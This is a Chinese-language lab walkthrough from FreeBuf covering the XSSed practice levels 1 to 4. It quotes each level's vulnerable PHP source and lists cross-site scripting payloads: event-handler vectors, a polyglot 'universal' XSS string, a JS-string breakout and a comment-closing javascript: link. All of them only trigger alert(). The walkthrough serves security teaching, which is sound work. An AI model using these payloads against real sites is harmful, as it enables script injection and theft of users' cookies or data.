freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

XSSed通关教程
2023-01-30 15:32:28
所属地 河北省

XSSed通关教程

首先整体浏览网站

在这里插入图片描述

进入Level1 Basic XSS

首先整体浏览网站

在这里插入图片描述

对源码进行分析

漏洞产生于如下代码段:

echo($_GET['q']);

直接将用户输入插入了html页面,没有任何过滤。

  • 构造普通payload:

<script>alert(/xss/)</script>

页面弹窗成功

在这里插入图片描述

  • 构造获取cookie的payload:

<script>alert(document.cookie)</script>

成功弹出cookie

在这里插入图片描述

  • 构造a链接的xss的payload:

<a href="javascript:alert('xss')">xss</a>

点击xss链接成功弹窗

在这里插入图片描述

  • 构造加载图形失败执行的payload:

<img src=x onerror=alert(1)>

成功弹窗

在这里插入图片描述

  • 构造iframe框架payload:

<iframe onload=alert('xss')>

成功弹窗

在这里插入图片描述

  • 构造svg标签payload

<svg onload=alert(1)>

成功弹窗

在这里插入图片描述

  • 构造video标签payload

<video onloadstart=alert(1) src="/media/hack-the-planet.mp4" />

成功弹窗

在这里插入图片描述

  • 构造body标签payload

<body onload=alert(1)>

成功弹窗

在这里插入图片描述

  • 构造style标签payload

<style onload=alert(1)></style>

成功弹窗

在这里插入图片描述

  • 构造input标签payload

<input onmouseover=alert(1)>

当鼠标移动到空白位置,成功弹窗

在这里插入图片描述

万能xss的payload

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNclJavaScript XSSiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

进入Level2 JavaScript XSS

首先整体浏览网页

在这里插入图片描述

对源码进行分析

漏洞产生于如下代码段:

$q = $_GET['q'];
<script type="text/javascript">
var search_term = " $q";
</script>
  • 构造普通payload:

<script>alert(/xss/)</script>

弹窗失败,查看页面回显的代码

在这里插入图片描述

与basic xss将输入插入到html中不同,这里把输入未经过滤插入了JavaScript代码段。因为在字符串中,需要闭合两边的引号,构造如下payload:

a";alert(1);var q="a

成功弹窗

在这里插入图片描述

  • 构造加载图形失败执行的payload:

<img src=x onerror=alert(1)>

成功弹窗

在这里插入图片描述

进入Level3 Filtered XSS

首先整体浏览网页

在这里插入图片描述

对源码进行分析

漏洞产生于如下代码段:

$id = str_replace('"', '&quot;', $_GET['id']);
$creditcard = $_GET['creditcard'];
$creditcard = preg_replace('/([^\s])([A-Za-z\\"\\\'])/', '', $creditcard);
print <<<END
<h1>Please Confirm Your Order</h1>
<div id="creditcard">$creditcard</div>
<script type="text/javascript">
var q = "$id";
document.write("<!-- " + q + "-->");
</script>
END;

从源码中可以看出,过滤creditcard的正则非常完善,而对变量id只是转义了一下双引号(所以用双引号闭合是插不进去的)。这里体现了木桶原理,只要有一个可控输入位置成为插入点,其它输入的过滤再严格也没有意义。

  • 构造普通payload:

<script>alert(1);</script>

查看回显html页面代码:

在这里插入图片描述

有两处值得我们注意:

1、我们的输入\alert(1);\被过滤得只剩下 t(1) ,可见后端的正则过滤比较完善;

2、html后半部分有一个JavaScript代码段,其中有一个变量q,它先被赋值为123,然后被用注释符包裹,最后写入到到页面中,如果我们可以控变量q的值,闭合注释,就能利用document.write()函数向页面中插入js代码。

再回到前端看看有没有可能控制变量q,发现:

在这里插入图片描述

有一个变量id的默认值为123,它的属性被设置为hidden,可以想到这里的id就是后端的q,我们将hidden改为text,页面上就会多出一个id的输入框。

在这里插入图片描述

值得注意的是,因为是插入到js代码段中,而html又是一种从前往后遇到匹配的标签就解析的语言,所以不能使用</script>标签,否则会使该代码段的\<script>标签提前被闭合而产生混乱,就像下面这样:

在这里插入图片描述

那要如何插入js代码呢?这里就要用到一个伪协议:

javascript:[code]

直观上来说,这个伪协议可以让一个放url链接的地方,执行js代码,比如:

<a href="http://fdujwc.cn" target='_blank'>点这里跳转链接</a>
<a href=javascript:alert(1); target='_self'>点这里执行js代码</a>
这里之所以用不同的target属性是因为我使用的博客框架对<a>有一个默认值target='_blank',这个标签导致新打开一个窗口,会影响js代码在当前页面的执行。

现在,我们运用这个伪协议,构造payload:

id=--><a href=javascript:alert(1);>click</a><!--

点击click成功弹窗

在这里插入图片描述

另外,题目要求alert出creditcard的值,所以还要把alert内的东西完善一下,最终payload:

--><a href=javascript:alert(document.getElementById('creditcard').innerHTML);>click</a><!--

点击click成功弹窗

在这里插入图片描述

进入Level4 Chained XSS

首先整体浏览网站

在这里插入图片描述

  • 构造普通payload:

<script>alert(/xss/)</script>

页面弹窗成功

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:

https://rdyx0.github.io/

先知社区:

https://xz.aliyun.com/u/37846

SecIN:

https://www.sec-in.com/author/3097

CSDN:

https://blog.csdn.net/weixin_48899364?type=blog

公众号:

https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

FreeBuf:

https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

# 渗透测试 # web安全 # 漏洞分析 # 代码审计 # 红队攻防
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录